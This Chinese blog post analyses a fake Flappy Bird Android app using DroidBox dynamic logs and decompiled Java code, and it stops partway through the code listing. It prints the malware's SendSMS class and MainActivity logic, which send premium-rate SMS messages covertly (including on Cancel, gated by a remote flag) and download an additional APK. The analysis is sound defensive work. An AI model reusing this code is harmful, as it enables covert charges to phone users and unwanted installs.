Flappy Bird 惡意程式詳細分析

wyzsk發表於2020-08-19
作者: 愛小狐狸的小螃蟹 · 2014/03/25 17:55

0x00 背景


Flappy Bird是在年初的時候非常火爆的一個小遊戲,但是後來作者在2014年2月10日將其在Apple與Google商店下架,因為這遊戲太容易讓人上癮了。

這時候就有很多惡意的Flappy Bird軟體在商店上冒出來。

捕獲到一個惡意版本的Flappy Bird可以在使用者沒有察覺的情況下傳送簡訊。

App MD5:6c357ac34d061c97e6237ce9bd1fe003

所使用的工具:

DroidBox 一個動態分析工具,他為我們展示了一個程式執行時具體在做什麼 Android Emulator 包含在Android SDK - 用來模擬執行APK檔案
dex2jar - 反編譯可執行檔案 (.dex/.odex) 輸出 .jar 檔案
JD-GUI 顯示 jar 檔案java原始碼的GUI工具

本次分析分為兩個部分:

動態分析 靜態分析

在動態分析截斷,我們會讓app在模擬環境中執行,看看他訪問哪些檔案和網站,這個是我們在靜態分析中尋找相關程式碼的關鍵。

在靜態分析截斷,我們會逆向APK檔案出原始碼,這讓我們能從原始碼中找出惡意行為發生的原因。

0x01 動態分析


使用的最主要的工具就是DroidBox。

我在Linux Ubuntu上裝了測試,沒有發現什麼問題。

安裝DroidBox之前你需要安裝Python包括pylab跟matplotlib庫。

Python安裝之後需要在http://developer.android.com/sdk/index.html下載安裝Android SDK

在終端下輸入下面兩條命令來匯入SDK的路徑,這樣我們在任何目錄可以直接使用SDK相關命令。

#!bash
export PATH=$PATH:/path/to/android-sdk/tools/  
export PATH=$PATH:/path/to/android-sdk/platform-tools/

下載最新的DroidBox:

#!bash
wget http://droidbox.googlecode.com/files/DroidBox411RC.tar.gz

解壓縮排入目錄:

#!bash
tar -zxvf DroidBox411RC.tar.gz  
cd DroidBox411RC

現在我們可以建立一個Android虛擬主機建立一個Android Nexus4的裝置執行Android 4.2.1版本。

android

進入DroidBox目錄,執行Android模擬器

#!bash
./startemu.sh <AVD name>

等待啟動完之後,安裝執行Flappy Bird:

#!bash
./droidbox.sh flappy-bird.apk

你將在終端看到:

#!bash
 ____                        __  ____
/\  _`\               __    /\ \/\  _`\
\ \ \/\ \  _ __  ___ /\_\   \_\ \ \ \L\ \   ___   __  _
 \ \ \ \ \/\`'__\ __`\/\ \  /'_` \ \  _ <' / __`\/\ \/'\
  \ \ \_\ \ \ \/\ \L\ \ \ \/\ \L\ \ \ \L\ \ \L\ \/>  </
   \ \____/\ \_\ \____/\ \_\ \___,_\ \____/ \____//\_/\_\
    \/___/  \/_/\/___/  \/_/\/__,_ /\/___/ \/___/ \//\/_/
Waiting for the device...
Installing the application flappy-bird.apk...
Running the component com.hdc.bookmark3934/com.hdc.mlink_x5.MainActivity...
Starting the activity com.hdc.mlink_x5.MainActivity...
Application started
Analyzing the application during infinite time seconds...
    [-] Collected 13 sandbox logs (Ctrl-C to view logs)

在虛擬視窗,你應該能看到Flappy Bird的執行,DroidBox也在記錄了Flappy Bird的日誌,按 Ctrl-C停止DroidBox然後檢視日誌。

DroidBox輸出的日誌是JSOn格式的,下面是一個其中一些日誌:

#!js
{
  "apkName": "flappy-bird.apk",
  "enfperm": [

  ],
  "recvnet": {
    "2.104520797729492": {
      "data": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203136204d617220323031342031323a33323a343620474d540d0a436f6e74656e742d547970653a20746578742f68746d6c3b20636861727365",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "2.1131179332733154": {
      "data": "0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a582d506f77657265642d42793a205048502f352e332e330d0a5365742d436f6f6b69653a205048505345535349443d753272317133646275743568656631616d6f3830626e746172323b20",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "2.1321218013763428": {
      "data": "742d456e636f64696e670d0a436f6e74656e742d456e636f64696e673a20677a69700d0a0d0a1f8b08000000000000033337373100004a2f6ff00400000076616c69646174652c20706f73742d636865636b3d302c207072652d636865636b3d300d0a50",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "3.130279779434204": {
      "data": "436f6e74726f6c3a206d61782d6167653d3630343830300d0a4163636570742d52616e6765733a2062797465730d0a0d0affd8ffe000104a46494600010101004800480000ffdb004300080606070605080707070909080a0c140d0c0b0b0c1912130f14",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "13.584807872772217": {
      "data": "485454502f312e3120323030204f4b0d0a446174653a2053756e2c203136204d617220323031342031323a33323a353720474d540d0a4163636570742d52616e6765733a2062797465730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "11.968261957168579": {
      "data": "0a0d0a504b0304140008000800374c5d38000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000ad59c992da5a12dd3bc2ffe06577285c1262925e84171ad1006840136c2a846634eb6ae4eb9b67bbbbfdca",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "2.8462908267974854": {
      "data": "65643a205361742c2030382046656220323031342030323a31323a303020474d540d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a455461673a202235326635393237302d32326433220d0a457870697265733a2053756e2c203233204d",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "2.8404297828674316": {
      "data": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203136204d617220323031342031323a33323a343720474d540d0a436f6e74656e742d547970653a20696d6167652f6a7065670d0a436f6e7465",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    },
    "11.675630807876587": {
      "data": "485454502f312e3120323030204f4b0d0a446174653a2053756e2c203136204d617220323031342031323a33323a353520474d540d0a4163636570742d52616e6765733a2062797465730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "11.910815000534058": {
      "data": "30300d0a4c6173742d4d6f6469666965643a205361742c2030382046656220323031342030323a31333a313320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f766e642e616e64726f69642e7061636b6167652d61726368",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "14.005896806716919": {
      "data": "0a0d0a504b0304140008000800374c5d38000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000ad59c992da5a12dd3bc2ffe06577285c1262925e84171ad1006840136c2a846634eb6ae4eb9b67bbbbfdca",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "13.692770957946777": {
      "data": "30300d0a4c6173742d4d6f6469666965643a205361742c2030382046656220323031342030323a31333a313320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f766e642e616e64726f69642e7061636b6167652d61726368",
      "host": "210.***.**.196",
      "type": "net read",
      "port": "80"
    },
    "2.1189818382263184": {
      "data": "20313938312030383a35323a303020474d540d0a43616368652d436f6e74726f6c3a206e6f2d73746f72652c206e6f2d63616368652c206d7573742d726576616c69646174652c20706f73742d636865636b3d302c207072652d636865636b3d300d0a50",
      "host": "210.***.***.195",
      "type": "net read",
      "port": "80"
    }
  },
  "servicestart": {

  },
  "sendsms": {
    "7.549656867980957": {
      "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
      "type": "sms",
      "number": "7740"
    },
    "10.157855987548828": {
      "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
      "type": "sms",
      "number": "7740"
    }
  },
  "cryptousage": {

  },
  "sendnet": {
    "1.6028339862823486": {
      "type": "net write",
      "desthost": "210.***.***.195",
      "fd": "16",
      "operation": "send",
      "data": "474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d313530303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e31",
      "destport": "80"
    },
    "2.5497188568115234": {
      "type": "net write",
      "desthost": "210.***.***.195",
      "fd": "19",
      "operation": "send",
      "data": "474554202f75706c6f61642f626f6f6b6d61726b2f323031342f303230382f666c617070795f312e6a706720485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e",
      "destport": "80"
    },
    "11.307919979095459": {
      "type": "net write",
      "desthost": "210.***.**.196",
      "fd": "26",
      "operation": "send",
      "data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75",
      "destport": "80"
    },
    "13.101272821426392": {
      "type": "net write",
      "desthost": "210.***.**.196",
      "fd": "28",
      "operation": "send",
      "data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75",
      "destport": "80"
    }
  },
  "accessedfiles": {
    "1033683943": "/proc/1188/cmdline",
    "1067199142": "/data/data/com.hdc.bookmark3934/app_mytime/checktime.txt",
    "1325730693": "/proc/1163/cmdline",
    "839394932": "/proc/1174/cmdline"
  },
  "fdaccess": {
    "4.386643886566162": {
      "path": "/proc/1163/cmdline",
      "operation": "read",
      "data": "636f6d2e6864632e626f6f6b6d61726b333933340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972",
      "id": "1325730693",
      "type": "file read"
    },
    "4.41674280166626": {
      "path": "/proc/1174/cmdline",
      "operation": "read",
      "data": "6c6f676361740044726f6964426f783a570064616c76696b766d3a570041637469766974794d616e616765723a49000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972",
      "id": "839394932",
      "type": "file read"
    },
    "15.97931981086731": {
      "path": "/proc/1188/cmdline",
      "operation": "read",
      "data": "636f6d2e616e64726f69642e7061636b616765696e7374616c6c6572000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000702f666c617070792d626972642e61706b00707079626972",
      "id": "1033683943",
      "type": "file read"
    },
    "10.113840818405151": {
      "path": "/data/data/com.hdc.bookmark3934/app_mytime/checktime.txt",
      "operation": "write",
      "data": "00086d6c696e6b5f7835",
      "id": "1067199142",
      "type": "file write"
    }
  },
  "dataleaks": {

  },
  "opennet": {
    "1.300102949142456": {
      "desthost": "210.***.***.195",
      "fd": "16",
      "destport": "80"
    },
    "2.210848808288574": {
      "desthost": "210.***.***.195",
      "fd": "19",
      "destport": "80"
    },
    "12.578583002090454": {
      "desthost": "210.***.**.196",
      "fd": "28",
      "destport": "80"
    },
    "10.951124906539917": {
      "desthost": "210.***.**.196",
      "fd": "26",
      "destport": "80"
    }
  },
  "recvsaction": {
    "vn.adflex.sdk.AdFlexBootUpReceiver": "android.intent.action.PACKAGE_RESTARTED"
  },
  "dexclass": {
    "0.32921576499938965": {
      "path": "/data/app/com.hdc.bookmark3934-1.apk",
      "type": "dexload"
    },
    "15.300875902175903": {
      "path": "/system/app/PackageInstaller.apk",
      "type": "dexload"
    }
  },
  "hashes": [
    "6c357ac34d061c97e6237ce9bd1fe003",
    "79e911f1b3c0f1ccd2012832b92fdff548d54b3f",
    "5782758e98698dbcfa1821a56d4501c73efeeec7425dd5aa129e386542666cd5"
  ],
  "closenet": {

  },
  "phonecalls": {

  }
}

隱藏了部分敏感資訊,日誌其中最明顯的是傳送了兩條簡訊。

#!js
  "sendsms": {
    "7.549656867980957": {
      "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
      "type": "sms",
      "number": "7740"
    },
    "10.157855987548828": {
      "message": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
      "type": "sms",
      "number": "7740"

 把BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934傳送到號碼7740那裡。

 根據下面的日誌可以得出:

#!js
"sendnet": {
    "1.6028339862823486": {
      "type": "net write",
      "desthost": "210.***.***.195",
      "fd": "16",
      "operation": "send",
      "data": "474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d313530303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e31",
      "destport": "80"
    }

該app訪問了210...195這個ip,傳送瞭如下資料:

474554202f626f6f6b6d61726b2f67657453657276696365436f64653f70726963653d313530303020485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e31

資料是16進位制編碼的,轉為ASCII:

GET /bookmark/getServiceCode?price=15000 HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1

所以這個app訪問URL http://210...195/bookmark/getServiceCode?price=15000,那麼返回值是什麼呢?返回值為7740,也就是傳送簡訊過去的號碼。

嘗試了一下修改不容的price的值,返回的結果不同:

price=20000 returns 7040
price=30000 returns 7040
price=10000 returns 7640
price=5000 returns 7540
price=1000 returns 7040

根據波蘭網站http://www.ilekosztujesms.pl/07540/顯示,往該號碼傳送簡訊將花費5波蘭羅提(差不多相當於10人民幣)。

還有個奇怪的東西:

#!js
"2.5497188568115234": {
      "type": "net write",
      "desthost": "210.***.***.195",
      "fd": "19",
      "operation": "send",
      "data": "474554202f75706c6f61642f626f6f6b6d61726b2f323031342f303230382f666c617070795f312e6a706720485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e",
      "destport": "80"
    }

解碼出來之後看到資料包為:

GET /upload/bookmark/2014/0208/flappy_1.jpg HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.

 這個我們稍後在靜待分析階段分析。

總結:我們現在知道了Flappy Bird連線到哪些網站,給付費號碼傳送簡訊,並且可以根據介面返回不同發向不同的付費號碼。因此可以推測,這個惡意app透過此來賺錢。

但是210.*..196這個IP是做什麼的呢?

#!js
"11.307919979095459": {
      "type": "net write",
      "desthost": "210.***.**.196",
      "fd": "26",
      "operation": "send",
      "data": "474554202f6170702f666c617070792e61706b20485454502f312e310d0a557365722d4167656e743a2044616c76696b2f312e362e3020284c696e75783b20553b20416e64726f696420342e312e313b2046756c6c20416e64726f6964206f6e20456d75",
      "destport": "80"
    }

 解碼後顯示訪問地址為

http://210.***.**.196/app/flappy.apk

上面資料表明,改程式正在下載另一個APK:flappy.apk。

或許我們的Flappy Bird只是一個下載者。

這樣我們就知道app做了什麼了:

  1. 傳送簡訊扣費。
  2. 下載其他的Flappy Bird。

根據這些資訊,我們來靜態分析定位其中相關的原始碼。

0x02 靜態分析


靜態分析需要兩個工具,dex2jarJD-GUI

第一步就是把APK檔案反編譯為Java程式碼。

開始之前我們來看一下APK檔案的解構:

META-INF: 資料夾 lib: 編譯後的程式碼目錄 res: APK所需要的資原始檔夾 assets: 應用程式資源目錄 AndroidManifest.xml: 一個傳統的Android清單檔案,用於描述該應用程式的名字、版本號、所需許可權、註冊的服務、連結的其他應用程式。 classes.dex: classes檔案透過DEX編譯後的檔案格式,用於在Dalvik虛擬機器上執行的主要程式碼部分。 resources.arsc: 預編譯檔案

所以我們最感興趣的檔案為classes.dex,我們希望把classes.dex檔案轉為jar檔案,這可以透過dex2jar來完成:

先從http://code.google.com/p/dex2jar/downloads/list下載解壓dex2jar。

#!bash
unzip -x dex2jar-version.zip -d /home/user/dex2jar

一旦解壓之後,就可以使用反編譯APK檔案了:

#!bash
sh /home/user/dex2jar-version/d2j-dex2jar.sh /home/user/flappy-bird.apk

將會生成一個可以使用JD-GUI開啟的jar檔案。

從http://jd.benow.ca/#jd-gui-downloadenter link description here下載並解壓JD-GUI。

#!bash
tar -zxvf jd-gui-version.linux.i686.tar.gz

執行開啟JD-GUI載入Flappy Bird的jar檔案,看到內容如下:

enter image description here

尋找左邊的類檔案列表,其中有一個在utilities包下的SendSMS類,看起來很像是一個傳送簡訊的類。

SendSMS.class

#!java
package com.hdc.ultilities;

import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.telephony.SmsManager;
import android.util.Log;
import android.widget.Toast;

public class SendSMS
{
  public static String address;
  public static String dauso_last;
  public static String dauso_x;
  public static int discount;

  public static void send(String paramString1, String paramString2, Context paramContext, String paramString3, int paramInt, String paramString4)
  {
    address = paramString2.trim();
    discount = paramInt;
    dauso_x = paramString3;
    dauso_last = paramString4;
    new Thread(new Runnable(paramContext, paramString1)
    {
      public void run()
      {
        try
        {
          PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_SENT"), 0);
          PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_DELIVERED"), 0);
          SmsManager localSmsManager = SmsManager.getDefault();
          SendSMS.this.registerReceiver(new BroadcastReceiver(SendSMS.this, this.val$data)
          {
            public void onReceive(Context paramContext, Intent paramIntent)
            {
              switch (getResultCode())
              {
              case 0:
              case 2:
              case 3:
              case 4:
              default:
              case -1:
              case 1:
              }
              do
              {
                return;
                Toast.makeText(this.val$instance, "G?i thành công", 0).show();
                Log.i("dau so: " + SendSMS.dauso_x, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last);
                return;
                SendSMS.discount = -1 + SendSMS.discount;
              }
              while (SendSMS.discount < 0);
              Toast.makeText(this.val$instance, "G?i ko ???c", 0).show();
              Log.i("dau so: " + SendSMS.dauso_x, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last);
              SendSMS.send(this.val$data, SendSMS.dauso_x + SendSMS.discount + SendSMS.dauso_last, this.val$instance, SendSMS.dauso_x, SendSMS.discount, SendSMS.dauso_last);
            }
          }
          , new IntentFilter("SMS_SENT"));
          localSmsManager.sendTextMessage(SendSMS.address, null, this.val$data, localPendingIntent1, localPendingIntent2);
          return;
        }
        catch (Exception localException)
        {
          localException.printStackTrace();
        }
      }
    }).start();
  }
}

下面這段程式碼負責傳送簡訊:

#!java
localSmsManager.sendTextMessage(SendSMS.address, null, this.val$data, localPendingIntent1, localPendingIntent2);

這兩段程式碼是隱藏簡訊傳送與到達通知:

#!java
PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_SENT"), 0);
PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(SendSMS.this, 0, new Intent("SMS_DELIVERED"), 0);

sendTextMessage方法是Android其中一個API(參閱android.telephony.gsm.SmsManager )。

根據這個,我們可以明確的知道程式傳送簡訊以及隱藏相關操作的程式碼。

下一個問題就是,這個簡訊是什麼時候傳送的呢,是由使用者觸發的還是其他的呢?

來看一下MainActivity.class檔案:

MainActivity.class: Global Variables Snippet

#!bash
public String pop_up1 = "B?ng cách cài ??t và s? d?ng trò ch?i, ph?n m?m này, b?n ???c coi nh? ?ã ch?p nh?n các ?i?u kho?n s? d?ng d??i ?ây c?a chúng tôi: \n1. Không g? b? ho?c vô hi?u hóa b?t k? bi?n pháp b?o v?, quy?n s? h?u hay b?n quy?n có trên ho?c trong trò ch?i, ph?n m?m \n2. Không t?o ra các b?n sao b?t ch??c các tính n?ng ho?c giao di?n, d? li?u c?a trò ch?i, ph?n m?m này.\n3. Không s? d?ng trò ch?i, ph?n m?m này làm công c? ?? gây h?i cho nh?ng ng??i dùng khác.\n4. S?n ph?m có phí và b?n c?n thanh toán ?? ti?p t?c s? d?ng sau th?i gian dùng th?.\n5. Phí s? d?ng s?n ph?m t? 15.000 ? ??n 30.000 ?.";
public String pop_up2 = "   B?n có mu?n kích ho?t không?";

這兩個字串都為越南文,根據google翻譯:

pop_up1:“透過安裝和使用遊戲,軟體,你將被視為已接受了我們的使用下面的條款: 不要刪除或禁用任何防護措施,或在遊戲中所有權或著作權,軟體。 不要建立重複或模仿介面功能,遊戲資料,此軟體。 不要使用遊戲,軟體作為一種工具來造成危害其他使用者。 我們的產品是免費的,你需要付費才能繼續試用期後使用。 收費使用的產品從15,000越盾30,000越盾。“ pop_up2:“你想要啟用嗎”

這些看起來像標準條款和條件,只是Flappy Bird是一個免費的應用程式,所以不應該花費。有趣的是在15000的花費與上面訪問的URL應該是一樣的:http://210...195/bookmark/getServiceCode?price=15000)。

後來在MainActivity.class檔案的initListView中找到產生這些對話伴並隨著一些傳送簡訊動作程式碼。下面是從類檔案中的程式碼摘錄:

MainActivity.class: Code Extract

#!java
while (Service_mLink.number_send == 1)
    {
      openPop_up(this.pop_up1, Service_mLink.number_send, 1);
      this.listView.setOnItemClickListener(new AdapterView.OnItemClickListener()
      {
        public void onItemClick(AdapterView<?> paramAdapterView, View paramView, int paramInt, long paramLong)
        {
          Integer localInteger = Integer.valueOf(0);
          MainActivity.linkInfo = new LinkInfo();
          MainActivity.linkInfo = (LinkInfo)Service_mLink.instance.listLinkInfo.get(paramInt);
          MainActivity.this.link = MainActivity.linkInfo.getLink();
          MainActivity.this.mo = MainActivity.linkInfo.getMo();
          MainActivity.this.servicecode = Service_mLink.svcodeActive;
          MainActivity.this.servicecode2 = MainActivity.linkInfo.getServicecode2();
          if (localInteger.intValue() == 0)
            MainActivity.this.isFirstTime = FileManager.loadFtime(MainActivity.this, MainActivity.this.ftime);
          while ((MainActivity.this.servicecode.equals("")) && (MainActivity.this.servicecode2.equals("")))
          {
            Log.e("servicecodeAll", MainActivity.this.servicecode + "sv : sv2" + MainActivity.this.servicecode2);
            MainActivity.DownloadFileFromURL localDownloadFileFromURL = new MainActivity.DownloadFileFromURL(MainActivity.this);
            String[] arrayOfString = new String[2];
            arrayOfString[0] = MainActivity.this.link;
            arrayOfString[1] = MainActivity.linkInfo.getTitle();
            localDownloadFileFromURL.execute(arrayOfString);
            return;
            Integer.valueOf(1 + localInteger.intValue());
          }
          if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
            MainActivity.this.checkSVCode(MainActivity.this.servicecode2);
          while (true)
          {
            AlertDialog.Builder localBuilder = new AlertDialog.Builder(MainActivity.this);
            TextView localTextView = new TextView(MainActivity.this);
            localTextView.setText(MainActivity.this.txt_content);
            localTextView.setGravity(1);
            localTextView.setTextColor(Color.parseColor("#ffffff"));
            localBuilder.setView(localTextView);
            localBuilder.setPositiveButton("Ok", new DialogInterface.OnClickListener()
            {
              public void onClick(DialogInterface paramDialogInterface, int paramInt)
              {
                if (Service_mLink.instance.isSim)
                {
                  MainActivity.this.checkInternet();
                  if (MainActivity.this.isConnect)
                  {
                    if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
                      SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
                    try
                    {
                      while (true)
                      {
                        Toast.makeText(MainActivity.this.getApplicationContext(), "Ca?m ?n ba?n ?a? s?? du?ng di?ch vu?", 1000).show();
                        Thread.sleep(1000L);
                        paramDialogInterface.cancel();
                        MainActivity.DownloadFileFromURL localDownloadFileFromURL = new MainActivity.DownloadFileFromURL(MainActivity.this);
                        String[] arrayOfString = new String[2];
                        arrayOfString[0] = MainActivity.this.link;
                        arrayOfString[1] = MainActivity.linkInfo.getTitle();
                        localDownloadFileFromURL.execute(arrayOfString);
                        return;
                        SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
                      }
                    }
                    catch (InterruptedException localInterruptedException)
                    {
                      while (true)
                        localInterruptedException.printStackTrace();
                    }
                  }
                  AlertDialog.Builder localBuilder = new AlertDialog.Builder(MainActivity.this);
                  localBuilder.create();
                  localBuilder.setTitle("Thông báo");
                  localBuilder.setMessage("B?n vui lòng ki?m tra k?t n?i Internet !!!");
                  localBuilder.show();
                  return;
                }
                Toast.makeText(MainActivity.this, "B?n ?ã không có Sim ?i?n tho?i.\n B?n không th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
              }
            });
            localBuilder.setNegativeButton("Cancel", new DialogInterface.OnClickListener()
            {
              public void onClick(DialogInterface paramDialogInterface, int paramInt)
              {
                paramDialogInterface.cancel();
              }
            });
            localBuilder.show();
            return;
            MainActivity.this.checkSVCode(MainActivity.this.servicecode);
          }
        }
      });
      return;
      label249: checkSVCode(Service_mLink.svcodeActive);
    }

看起來一旦使用者點選了“確定”,就將會傳送簡訊,程式碼中一共包含兩個

#!java
SendSMS.send(MainActivity.this.mo, MainActivity.this.servicecode, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);

但是第二個是在return的後面,也就意味著不會執行,但是為什麼動態分析當中看到了兩次傳送簡訊呢?

上面程式碼中的第三行呼叫了openPop_up方法,來看看其中的程式碼:

MainMethod.class: method openPop_up

#!java
public void openPop_up(String paramString, int paramInt1, int paramInt2)
  {
    AlertDialog.Builder localBuilder = new AlertDialog.Builder(this);
    View localView = LayoutInflater.from(this).inflate(2130903043, null);
    this.tvlaw = ((TextView)localView.findViewById(2131230726));
    this.tvlaw.setText(paramString);
    this.tvlaw.setTextColor(-1);
    if (paramInt2 == 1)
      localBuilder.setTitle("?i?u kho?n s? d?ng");
    localBuilder.setView(localView);
    localBuilder.setPositiveButton("Ok", new DialogInterface.OnClickListener(paramInt2, paramInt1)
    {
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {
        if (Service_mLink.instance.isSim)
        {
          if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
          {
            SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
            Log.i("i", this.val$i);
            if (Service_mLink.instance.listLinkInfo.size() != 1)
              break label345;
            if ((this.val$number_send == 1) && (this.val$i == 1))
            {
              FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
              MainActivity.DownloadFileFromURL localDownloadFileFromURL2 = new MainActivity.DownloadFileFromURL(MainActivity.this);
              String[] arrayOfString2 = new String[2];
              arrayOfString2[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
              arrayOfString2[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
              localDownloadFileFromURL2.execute(arrayOfString2);
            }
            if ((this.val$number_send == 2) && (this.val$i == 2))
            {
              FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
              MainActivity.DownloadFileFromURL localDownloadFileFromURL1 = new MainActivity.DownloadFileFromURL(MainActivity.this);
              String[] arrayOfString1 = new String[2];
              arrayOfString1[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
              arrayOfString1[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
              localDownloadFileFromURL1.execute(arrayOfString1);
            }
          }
          while (true)
          {
            paramDialogInterface.cancel();
            return;
            SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
            break;
            label345: if ((this.val$number_send == 1) && (this.val$i == 1))
              FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
            if ((this.val$number_send != 2) || (this.val$i != 2))
              continue;
            FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
          }
        }
        Toast.makeText(MainActivity.this, "B?n ?ã không có Sim ?i?n tho?i.\n B?n không th? kích ho?t và s? d?ng App ???c !!!", 1000).show();
      }
    });
    localBuilder.setNegativeButton("Cancel", new DialogInterface.OnClickListener(paramInt2, paramInt1)
    {
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {
        if (this.val$i == 1)
          try
          {
            MainActivity.this.auto_sms = DownloadImage.instance.getAuto_sms2(Service_mLink.url_config_auto_sms);
            Log.i("auto_sms", MainActivity.this.auto_sms);
            if (Service_mLink.instance.isSim)
            {
              boolean bool = MainActivity.this.auto_sms.equals("1");
              int i = 0;
              if (bool)
              {
                if ((MainActivity.this.typeNetwork == "VIETNAM_MOBILE") || (MainActivity.this.typeNetwork == "BEELINE"))
                {
                  SendSMS.send(Service_mLink.mo_Active, Service_mLink.svcodeActive2, MainActivity.this, MainActivity.this.type_dauso_X, MainActivity.this.type_discount, MainActivity.this.type_last);
                  i = 1;
                }
              }
              else
              {
                Log.i("i", this.val$i);
                if (Service_mLink.instance.listLinkInfo.size() != 1)
                  break label450;
                if ((this.val$number_send == 1) && (this.val$i == 1))
                {
                  FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
                  MainActivity.DownloadFileFromURL localDownloadFileFromURL2 = new MainActivity.DownloadFileFromURL(MainActivity.this);
                  String[] arrayOfString2 = new String[2];
                  arrayOfString2[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
                  arrayOfString2[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
                  localDownloadFileFromURL2.execute(arrayOfString2);
                }
                if ((this.val$number_send == 2) && (this.val$i == 2))
                {
                  FileManager.saveFTime(MainActivity.this, "mlink_x5", MainActivity.this.ftime);
                  MainActivity.DownloadFileFromURL localDownloadFileFromURL1 = new MainActivity.DownloadFileFromURL(MainActivity.this);
                  String[] arrayOfString1 = new String[2];
                  arrayOfString1[0] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getLink();
                  arrayOfString1[1] = ((LinkInfo)Service_mLink.instance.listLinkInfo.get(0)).getTitle();
                  localDownloadFileFromURL1.execute(arrayOfString1);
                }
                paramDialogInterface.cancel();
                if (i == 0)
                {
                  if (!Service_mLink.link_redirect.equals(""))
